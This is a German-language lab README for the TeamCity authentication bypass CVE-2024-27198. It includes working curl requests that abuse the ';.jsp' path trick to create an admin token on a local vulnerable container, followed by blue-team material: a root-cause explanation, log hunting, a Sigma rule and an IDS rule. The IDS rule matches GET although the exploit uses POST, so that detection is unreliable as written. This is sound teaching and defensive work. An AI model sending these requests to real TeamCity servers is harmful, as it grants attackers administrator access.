
Lab for the CVE-2024-27198
TeamCity bietet eine nur für Administratoren zugängliche Seite zur Token-Verwaltung, die nicht durch Authentifizierung geschützt ist. Dies ermöglicht es einem nicht authentifizierten Benutzer, einen Zugriffstoken für den Admin-Benutzer zu generieren, wenn er die ID eines vorhandenen Benutzers finden kann.
Die Schwachstelle liegt im REST-API-Routing-Mechanismus. Durch Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten, während die Sicherheitsfilter umgangen werden. Dies erfordert keinerlei Vorkenntnisse oder Zugriff, was es zu einer reinen 9.8 CVSS macht.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Greifen Sie auf die verwundbare TeamCity-Instanz unter http://localhost:8111 zu. Greifen Sie auf die gepatchte TeamCity-Instanz unter http://localhost:8112 zu.
Benutzername:
admin
Passwort:
admin
GET-Anfrage für eine Ressource ohne Authentifizierung:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Beide sollten einen Fehler mit Statuscode 401 zurückgeben.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte einen Token wie diesen zurückgeben (Der Token ist jedes Mal anders):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte einen Fehler mit Statuscode 401 zurückgeben, da die gepatchte Instanz die Sicherheitslücke nicht aufweist.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Sollte die Liste der Benutzer zurückgeben.
Während der Demonstration im Labor können Sie einen massiven Blue Team-Fund zeigen: Standardmäßig ist diese Sicherheitslücke extrem heimlich!
;.jsp-HTTP-Anfragen nicht protokolliert.Wie fangen wir sie also? Wenn der Angreifer seine Spuren verwischt! Wenn der Angreifer seinen schurkischen Token löscht, um sich zu verstecken, protokolliert TeamCity dies doch.
Finden Sie den Angreifer, der seine Spuren in den Überwachungsprotokollen verwischt:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Sie werden einen Protokolleintrag sehen, der angibt, dass der "REDTEAM"-Token gelöscht wurde).
docker compose -f docker-compose.yml down
Diese Sicherheitslücke ist ein Beispiel für CWE-288: Authentifizierungsumgehung unter Verwendung eines alternativen Pfads oder Kanals.
Der Fehler resultiert aus einer Pfadverwirrung zwischen dem Tomcat-Webserver und dem TeamCity-Anwendungsrouter. Durch Anhängen von ;.jsp und Übergeben des Ziel-REST-API-Endpunkts im Parameter jsp= interpretiert der anfängliche Sicherheitsfilter die Anfrage als nicht authentifizierte Anfrage an eine öffentliche .jsp-Datei (was erlaubt ist). Der interne Router entfernt jedoch das ;.jsp und leitet die Anfrage an den eingeschränkten /app/rest/-Endpunkt weiter, ohne den Authentifizierungsfilter durchzusetzen.
Legitimer Anwendungsfall (Warum ist ; erlaubt?):
Tomcat verwendet das Semikolon (;) für Matrix-Parameter. Historisch wird dieser Mechanismus verwendet, um Parameter direkt im Pfad zu übergeben, z. B. Anhängen von JSESSIONID, um den Benutzersitzungsstatus zu erhalten, wenn Cookies deaktiviert sind. Dieses normale, legitime Webserver-Verhalten in Kombination mit der unsachgemäßen Validierung durch den TeamCity-Anwendungsrouter erzeugt die Sicherheitslücke.
Um eine laufende oder vergangene Kompromittierung zu erkennen, sollten Blue Teams nach Folgendem suchen:
/app/rest/-Endpunkte abzielen, aber die anomale ;.jsp-Zeichenfolge in der URI enthalten.teamcity-server.log): Unerklärliche Generierung von Zugriffstoken oder Erstellung neuer Administratorkonten.Da der anfängliche Exploit standardmäßig heimlich ist, müssen Blue Teams darauf angewiesen sein, die Post-Exploitation-Aktionen des Angreifers zu erkennen, wie das Verwischen von Spuren. Hier ist eine Sigma-Regel für Ihr SIEM zur Erkennung verdächtiger Token-Löschungen:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Um zu beweisen, dass diese Erkennung funktioniert, führen Sie das Skript siem_simulator.py aus.
docker compose up -d).python3 siem_simulator.py
Um diesen Ausnutzungsversuch im Netzwerk zu erkennen, kann ein SOC die folgende IDS-Regel implementieren, die nach dem anomalen ;.jsp-Muster in Kombination mit REST-API-Pfaden sucht:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Um zu beweisen, dass die Abhilfe funktioniert, können Sie die exakt gleiche Exploit-Payload gegen den gepatchten TeamCity-Container auf Port 8112 starten:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Da der Patch das Routen-Matching streng durchsetzt und Matrix-Parameter korrekt bereinigt, wird die Umgehung fehlschlagen. Sie sollten eine 401 Unauthorized- oder 404 Not Found-Antwort anstelle eines generierten Tokens sehen.